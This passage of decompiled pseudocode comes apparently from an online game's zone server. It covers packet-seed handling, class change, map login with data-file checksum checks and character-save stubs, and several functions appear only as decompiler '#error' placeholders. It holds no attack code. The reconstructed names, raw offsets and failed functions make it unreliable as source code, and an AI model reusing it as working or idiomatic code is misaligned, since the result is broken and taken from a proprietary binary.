(ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x32u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_constructor_iterator_( v1->cel_Effect, 0xCu, 50, (void (__thiscall *)(void *))MoveManager::MoveManager, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = 2; v3 = 3; v4 = (int)&v1->cel_Effect[1]; v5 = -36 - (_DWORD)v1; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = (int)((char *)v1->baseclass_0.l_Array + v5); v7 = *(_DWORD *)(v6 + v4); v8 = v4 + v6; if ( !v7 ) *(_DWORD *)v8 = v4 - 12; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = (int)((char *)v1->baseclass_0.l_Array + v5); v10 = *(_DWORD *)(v9 + v4 + 12); v11 = v9 + v4 + 12; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = (int)((char *)v1->baseclass_0.l_Array + -12 - (_DWORD)v1); v13 = *(_DWORD *)(v12 + v4); v14 = v4 + v12; if ( !v13 ) *(_DWORD *)v14 = v4 + 12; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3].ls_Content; v17 = (int)&v15[v3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 24; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v18 = (int)((char *)v1->baseclass_0.l_Array + 12 - (_DWORD)v1); v19 = *(_DWORD *)(v18 + v4); v20 = v4 + v18; if ( !v19 ) *(_DWORD *)v20 = v4 + 36; } v2 += 5; v3 += 5; v4 += 60; } while ( v2 - 2 < 50 ); } // 5ABC08: using guessed type int (__stdcall *List_ChargedItemEffectList__ChargedItemEffectElement____vftable_[3])(__int16 hnd); //----- (00439160) -------------------------------------------------------- int __thiscall Name8::operator_(int this, int a2) { int result; // eax@1 *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); result = *(_DWORD *)(a2 + 28); *(_DWORD *)(this + 28) = result; return result; } //----- (004391A0) -------------------------------------------------------- char *__thiscall NameString::operator__(NameString *this, Name8 *a) { unsigned int v2; // eax@1 char *result; // eax@1 v2 = this->ns_point.mask & (this->ns_point.value + 1); this->ns_point.value = v2; result = (char *)this + 256 * v2; *(_QWORD *)result = *(_QWORD *)&a->n8_name[0]; *((_QWORD *)result + 1) = *(_QWORD *)&a->n8_name[8]; *((_QWORD *)result + 2) = *(_QWORD *)&a->n8_name[16]; *((_QWORD *)result + 3) = *(_QWORD *)&a->n8_name[24]; result[32] = 0; return result; } //----- (00439200) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // ecx@4 int v6; // eax@4 int v7; // eax@4 int v8; // eax@10 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 816))(v4, 0); if ( !(_S4_2 & 1) ) { _S4_2 |= 1u; cmc_12.cmc_AllowMode = 1; atexit(_E5_10); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_12.cmc_AllowMode ) { v5 = gpp.pp_Buffer; v6 = newseed; *(_WORD *)gpp.pp_Buffer = 2055; v7 = v6 + 1; newseed = v7; if ( v7 >= PacketEncrypt::pe_encryptlen ) { LOWORD(v7) = 0; newseed = 0; } *((_WORD *)v5 + 1) = v7; if ( v4 == (void *)-31840 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ : No PacketEncrypt", 0); (*(void (__thiscall **)(signed int, signed int, _DWORD, _DWORD))(vFFFF83A0 + 1464))(-31840, 1670, 0, 0); } else { if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ : Packet Too Long", 4); } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ"); } // 5E80D4: using guessed type int PacketEncrypt__pe_encryptlen; //----- (00439390) -------------------------------------------------------- #error "439390: undefined or illegal type '#325' (funcsize=340)" //----- (00439820) -------------------------------------------------------- #error "439820: undefined or illegal type '#325' (funcsize=49)" //----- (004398F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ClassChange(void *this, unsigned __int8 newclass) { void *v2; // esi@1 char *v3; // ebp@1 CharClassManager *v4; // eax@4 int v5; // eax@9 int v6; // ecx@10 unsigned __int8 v7; // cl@11 char *v8; // edi@17 ZoneBaseSession *v9; // eax@19 int v10; // ST04_4@21 int v11; // eax@21 AxialListPacketBroadcast alchat; // [sp+24h] [bp-18h]@21 int v13; // [sp+38h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ClassChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ClassChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; v13 = 0; *(_WORD *)gpp.pp_Buffer = 4185; if ( newclass ) { *((_BYTE *)v2 + 32118) ^= (*((_BYTE *)v2 + 32118) ^ 4 * newclass) & 0x7C; if ( newclass >= 0x20u ) v4 = &charclassmanager; else v4 = (CharClassManager *)charclassmanager.ccm_array[newclass]; *((_DWORD *)v2 + 1001) = v4; v3[2] = newclass; (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1368))(v2); ShineObjectClass::ShinePlayer::sp_StatRemainSend(v2); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ClassChange : None Class", 0); v3[2] = 0; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ClassChange : Packet Too Long", 3); } v6 = *(_DWORD *)((char *)v2 + 32010); if ( v6 ) { *(_BYTE *)(v6 + 28) = newclass; v7 = *(_BYTE *)(*(_DWORD *)((char *)v2 + 32010) + 27); if ( v7 ) { if ( v7 <= 2u || v7 == 6 ) *(_BYTE *)(*(_DWORD *)((char *)v2 + 32010) + 29) ^= (*(_BYTE *)(*(_DWORD *)((char *)v2 + 32010) + 29) ^ 4 * newclass) & 0x7C; } } if ( *((_BYTE *)v2 + 89071) ) *((_BYTE *)v2 + 89024) ^= (*((_BYTE *)v2 + 89024) ^ 4 * newclass) & 0x7C; v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4184; *((_WORD *)v8 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_WORD *)v8 + 4) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 832))(v2); v8[10] = (*(int (**)(void))(**((_DWORD **)v2 + 1001) + 40))(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 11) ) { v9 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v9); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ClassChange : Packet Too Long", 11); } if ( newclass ) { *(_WORD *)v3 = 4186; *((_WORD *)v3 + 1) = *((_WORD *)v2 + 2); v3[4] = newclass; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v10 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v13) = 1; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v11, v10, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v13) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ClassChange"); } //----- (00439B70) -------------------------------------------------------- #error "439B70: undefined or illegal type '#434' (funcsize=76)" //----- (00439CA0) -------------------------------------------------------- void __thiscall ItemSmallBag::isb_Clear(ItemSmallBag *this) { ItemSmallBag *v1; // esi@1 int v2; // edi@1 int v3; // ebx@2 v1 = this; v2 = 0; if ( ((int (*)(void))this->vfptr->isb_BagSizeOutput)() > 0 ) { do { v3 = (int)v1->vfptr->isb_GetInventoryCell(v1, v2); ItemInform_ActionItem::sii_Clear((ItemInform_ActionItem *)v3); *(_DWORD *)(v3 + 16) = &itmattcontainer; ++v2; } while ( v2 < v1->vfptr->isb_BagSizeOutput(v1) ); } } //----- (00439CE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 unsigned int v5; // eax@1 Name4 *v6; // esi@1 char *v7; // eax@1 int v8; // eax@1 SHN_DATA_FILE_INDEX v9; // ebx@1 Name8 *v10; // eax@4 char *v11; // eax@6 int v12; // eax@8 unsigned int v13; // eax@14 char *v14; // eax@14 char *v15; // eax@14 ZoneBaseSession *v16; // eax@16 int v17; // edi@17 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 816))(v4, 0); v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (Name4 *)(netcmd + 4); v7 = (char *)&namestring + 256 * v5; *(_DWORD *)v7 = *(_DWORD *)(netcmd + 4); *((_DWORD *)v7 + 1) = *(_DWORD *)(netcmd + 8); *((_DWORD *)v7 + 2) = *(_DWORD *)(netcmd + 12); *((_DWORD *)v7 + 3) = *(_DWORD *)(netcmd + 16); v7[16] = 0; v8 = CShnDataFileCheckSum::DataFileCheck(&ShnDataFile, (Name8 *)(netcmd + 20)); v9 = v8; if ( v8 < 0 || v8 >= 25 ) { if ( !(_S6_60 & 1) ) { _S6_60 |= 1u; cmc_14.cmc_AllowMode = 1; atexit(_E7_36); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_14.cmc_AllowMode ) { v13 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v13; v14 = (char *)&namestring + 256 * v13; *(_DWORD *)v14 = *(_DWORD *)&v6->n4_name[0]; *((_DWORD *)v14 + 1) = *(_DWORD *)(netcmd + 8); *((_DWORD *)v14 + 2) = *(_DWORD *)(netcmd + 12); *((_DWORD *)v14 + 3) = *(_DWORD *)(netcmd + 16); v14[16] = 0; v15 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = handle; *((_DWORD *)v15 + 1) = -1; *(_WORD *)v15 = 4171; *((_WORD *)v15 + 4) = *(_WORD *)(netcmd + 2); *(_DWORD *)(v15 + 10) = *(_DWORD *)&v6->n4_name[0]; *(_DWORD *)(v15 + 14) = *(_DWORD *)(netcmd + 8); *(_DWORD *)(v15 + 18) = *(_DWORD *)(netcmd + 12); *(_DWORD *)(v15 + 22) = *(_DWORD *)(netcmd + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 26) ) { v16 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v16); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ : Packet Too Long", 26); } v17 = (int)((char *)v4 + 32168); ItemBag::ib_clear((ItemBag *)v17); ItemBag::ib_clear((ItemBag *)(v17 + 3368)); ItemBag::ib_clear((ItemBag *)(v17 + 20076)); ItemBag::ib_clear((ItemBag *)(v17 + 20660)); ItemSmallBag::isb_Clear((ItemSmallBag *)(v17 + 24724)); } } else { if ( CShnDataFileCheckSum::GetDataFileCheckSum(&ShnDataFile, (SHN_DATA_FILE_INDEX)v8) ) { CShnDataFileCheckSum::GetDataFileName(&ShnDataFile, v9); NameString::operator__(&namestring, (Name8 *)(32 * v9 + netcmd + 20)); v10 = CShnDataFileCheckSum::GetDataFileCheckSum(&ShnDataFile, v9); NameString::operator__(&namestring, v10); } else { CShnDataFileCheckSum::GetDataFileName(&ShnDataFile, v9); NameString::operator__(&namestring, (Name8 *)(32 * v9 + netcmd + 20)); } NameString::operator__(&namestring, v6); v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 6148; *((_WORD *)v11 + 1) = 327; v11[4] = v9; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ : Packet Too Long", 5); } (*(void (__thiscall **)(void *, signed int, signed int, _DWORD))(*(_DWORD *)v4 + 1464))(v4, 1678, 1, 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ"); } //----- (00439FE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_REVIVE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_REVIVE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_REVIVE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_ReviveReqProcess(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_REVIVE_REQ"); } // 439390: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_ReviveReqProcess(_DWORD); //----- (0043A080) -------------------------------------------------------- #error "43A080: undefined or illegal type '#325' (funcsize=15)" //----- (0043A0C0) -------------------------------------------------------- void __thiscall AxialListMobFind::_AxialListMobFind(AxialListMobFind *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobFind::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5AC204: using guessed type int (__stdcall *AxialListMobFind___vftable_)(int, int, int distancesquar); //----- (0043A0D0) -------------------------------------------------------- char __thiscall DropLocationManager::dlm_Getloc(DropLocationManager *this, SHINE_XY_TYPE *center, SHINE_XY_TYPE *loc, int scale) { char result; // al@2 if ( this->dlm_index.cluster < 0x20u ) { loc->x = center->x; loc->y = center->y; result = DropLoc::SameDistanceCluster::sdc_Getdelta( (DropLoc::SameDistanceCluster *)this + this->dlm_index.cluster, this->dlm_index.subscript, loc, scale); } else { AssertClass::ac_AssertFail(&shineassert, "DropLocationManager::dlm_Getloc", 32); result = 0; } return result; } //----- (0043A130) -------------------------------------------------------- int __thiscall FieldMap::fm_Compare(int this, int lst, __int16 hnd, int a4) { bool v4; // cf@1 int result; // eax@2 unsigned int v6; // edx@3 unsigned int v7; // esi@3 unsigned int v8; // eax@4 unsigned int v9; // ecx@4 v4 = *(_DWORD *)this < *(_DWORD *)a4; if ( *(_DWORD *)this != *(_DWORD *)a4 || (v6 = *(_DWORD *)(a4 + 4), v7 = *(_DWORD *)(this + 4), v4 = v7 < v6, v7 != v6) ) { result = v4 ? 1 : -1; } else { v8 = *(_DWORD *)(a4 + 8); v9 = *(_DWORD *)(this + 8); if ( v8 <= v9 ) result = -(v8 < v9); else result = 1; } return result; } //----- (0043A170) -------------------------------------------------------- #error "43A170: undefined or illegal type '#325' (funcsize=47)" //----- (0043A1F0) -------------------------------------------------------- #error "43A1F0: undefined or illegal type '#325' (funcsize=65)" //----- (0043A2F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_BriefLink(void *this, int mapname, int coord) { void *v3; // edi@1 unsigned int v4; // eax@4 char *v5; // eax@4 unsigned int v6; // eax@4 char *v7; // eax@4 FieldOption::FieldAttr *v8; // esi@4 unsigned int v9; // eax@5 char *v10; // eax@5 unsigned int v11; // eax@5 unsigned int v12; // eax@9 char *v13; // eax@9 unsigned int v14; // edx@9 int v15; // eax@9 NPCManager::LinkInformTemplete lnkinf; // [sp+4h] [bp-78h]@4 unsigned int v17; // [sp+6Ch] [bp-10h]@10 int v18; // [sp+78h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_BriefLink"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_BriefLink"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v18 = 0; if ( mapname && coord ) { v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)mapname; *((_DWORD *)v5 + 1) = *(_DWORD *)(mapname + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(mapname + 8); v5[12] = 0; strncpy(lnkinf.linktoserver, v5, 0xCu); v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_DWORD *)v7 = *(_DWORD *)mapname; *((_DWORD *)v7 + 1) = *(_DWORD *)(mapname + 4); *((_DWORD *)v7 + 2) = *(_DWORD *)(mapname + 8); lnkinf.linktoserver[12] = 0; v7[12] = 0; v8 = FieldOption::fo_GetFieldAttr(&::this, v7); if ( v8 ) { v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_DWORD *)v10 = *(_DWORD *)&v8->mapidclient.n3_name[0]; *((_DWORD *)v10 + 1) = *(_DWORD *)&v8->mapidclient.n3_name[4]; *((_DWORD *)v10 + 2) = *(_DWORD *)&v8->mapidclient.n3_name[8]; v10[12] = 0; v11 = BTree::operator__(&mapdatabox.mdb_btree, v10); if ( v11 == -1 ) LOWORD(v11) = -1; v11 = (unsigned __int16)v11; if ( (unsigned __int16)v11 < mapdatabox.mdb_maxmapid && mapdatabox.mdb_index[v11] ) { v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)&v8->mapidclient.n3_name[0]; *((_DWORD *)v13 + 1) = *(_DWORD *)&v8->mapidclient.n3_name[4]; *((_DWORD *)v13 + 2) = *(_DWORD *)&v8->mapidclient.n3_name[8]; v13[12] = 0; strncpy(lnkinf.linktoclient, v13, 0x20u); v14 = *(_DWORD *)(coord + 4); v15 = *(_DWORD *)v3; lnkinf.coordx = *(_DWORD *)coord; lnkinf.coordy = v14; (*(void (__thiscall **)(void *, NPCManager::LinkInformTemplete *, signed int, signed int, signed int))(v15 + 1472))( v3, &lnkinf, 6, 9, 10); } } } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_BriefLink : Error", 0); } --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_BriefLink"); __security_check_cookie(v17); } //----- (0043A510) -------------------------------------------------------- #error "43A510: undefined or illegal type '#325' (funcsize=101)" //----- (0043A6B0) -------------------------------------------------------- #error "43A6B0: undefined or illegal type '#325' (funcsize=261)" //----- (0043AA20) -------------------------------------------------------- int __thiscall FieldMap::fm_RegenCity(int this) { return *(_DWORD *)(this + 12) + 110; } //----- (0043AA30) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_SaveMisc2WMS(int buffer) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveMisc2WMS", 0); return 0; } //----- (0043AA50) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_SaveCharTitle(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveCharTitle", 0); return 0; } //----- (0043AA70) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_ply_SavePKCount(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_ply_SavePKCount", 0); return 0; } //----- (0043AA90) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_SaveLocation(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveLocation", 0); return 0; } //----- (0043AAB0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_SaveChestInfo(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveChestInfo", 0); return 0; } //----- (0043AAD0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_SaveLevel(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveLevel", 0); return 0; } //----- (0043AAF0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_SaveStat(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveStat", 0); return 0; } //----- (0043AB10) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_SaveGameData(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveGameData", 0); return 0; } //----- (0043AB30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDoing(int this, PROTO_NC_CHARSAVE_QUEST_DOING_REQ *buffer) { return CQuestZone::MakeStruct_NC_CHARSAVE_QUEST_DOING_REQ((CQuestZone *)(this + 66032), buffer); } //----- (0043AB40) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDoing(int this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD *buffer) { return CQuestZone::MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD((CQuestZone *)(this + 66032), buffer); } //----- (0043AB50) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDone(int this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DONE_CMD *buffer) { return CQuestZone::MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_DONE_CMD((CQuestZone *)(this + 66032), buffer); } //----- (0043AB60) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_SaveAbstate(int buffer, int charid) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveAbstate", 0); return 0; } //----- (0043AB80) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_SaveItem_Part(int nc, int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveItem_Part", 0); return 0; } //----- (0043ABA0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_SaveItem(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveItem", 0); return 0; } //----- (0043ABC0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_SaveSkill(int buffer, int SkillSaveCheck) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveSkill", 0); return 0; } //----- (0043ABE0) -------------------------------------------------------- #error "43ABE0: undefined or illegal type '#434' (funcsize=87)" //----- (0043AD40) -------------------------------------------------------- #error "43AD40: undefined or illegal type '#434' (funcsize=319)" //----- (0043B190) -------------------------------------------------------- int __thiscall PROTO_NC_CHARSAVE_ALL_REQ::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 6) = *(_DWORD *)(a2 + 6); *(_DWORD *)(this + 10) = *(_DWORD *)(a2 + 10); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_BYTE *)(this + 22) = *(_BYTE *)(a2 + 22); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); *(_DWORD *)(this + 31) = *(_DWORD *)(a2 + 31); *(_DWORD *)(this + 35) = *(_DWORD *)(a2 + 35); *(_DWORD *)(this + 39) = *(_DWORD *)(a2 + 39); *(_DWORD *)(this + 43) = *(_DWORD *)(a2 + 43); *(_DWORD *)(this + 47) = *(_DWORD *)(a2 + 47); *(_DWORD *)(this + 51) = *(_DWORD *)(a2 + 51); *(_DWORD *)(this + 55) = *(_DWORD *)(a2 + 55); *(_DWORD *)(this + 59) = *(_DWORD *)(a2 + 59); *(_DWORD *)(this + 63) = *(_DWORD *)(a2 + 63); *(_DWORD *)(this + 67) = *(_DWORD *)(a2 + 67); memcpy((void *)(this + 71), (const void *)(a2 + 71), 0x22u); return result; } //----- (0043B230) -------------------------------------------------------- void __thiscall WholeSaver::ws_saveassure(WholeSaver *this) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_saveassure"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_saveassure"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_saveassure"); } //----- (0043B270) -------------------------------------------------------- void __thiscall KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper(EventSaveCheck *this) { this->baseclass_0.vfptr = (EventReserveBaseVtbl *)&EventReserveBase::_vftable_; } // 5AC394: using guessed type int (*EventReserveBase___vftable_)(); //----- (0043B280) -------------------------------------------------------- void __thiscall EventSaveCheck::erb_happen(EventSaveCheck *this) { EventSaveCheck *v1; // esi@1 int v2; // eax@1 _iobuf *v3; // edi@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "EventSaveCheck::erb_happen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "EventSaveCheck::erb_happen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->esc_savebuffer.handle.chrregnum; if ( v2 != -1 ) { AssertClass::ac_AssertFail(&shineassert, "EventSaveCheck::erb_happen : Error in Character save", v2); v3 = fopen("NotSaved.bin", "wb"); fwrite(&v1->esc_savebuffer, 0x69u, 1u, v3); fclose(v3); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EventSaveCheck::erb_happen"); } //----- (0043B360) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveMisc2WMS(void *this, int buffer) { void *v2; // esi@1 int v3; // edx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveMisc2WMS"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveMisc2WMS"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)(buffer + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1056))(v2); *(_DWORD *)(buffer + 6) = v3; *(_DWORD *)(buffer + 10) = *(_DWORD *)((char *)v2 + 32067); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveMisc2WMS"); return 14; } //----- (0043B410) -------------------------------------------------------- int __thiscall 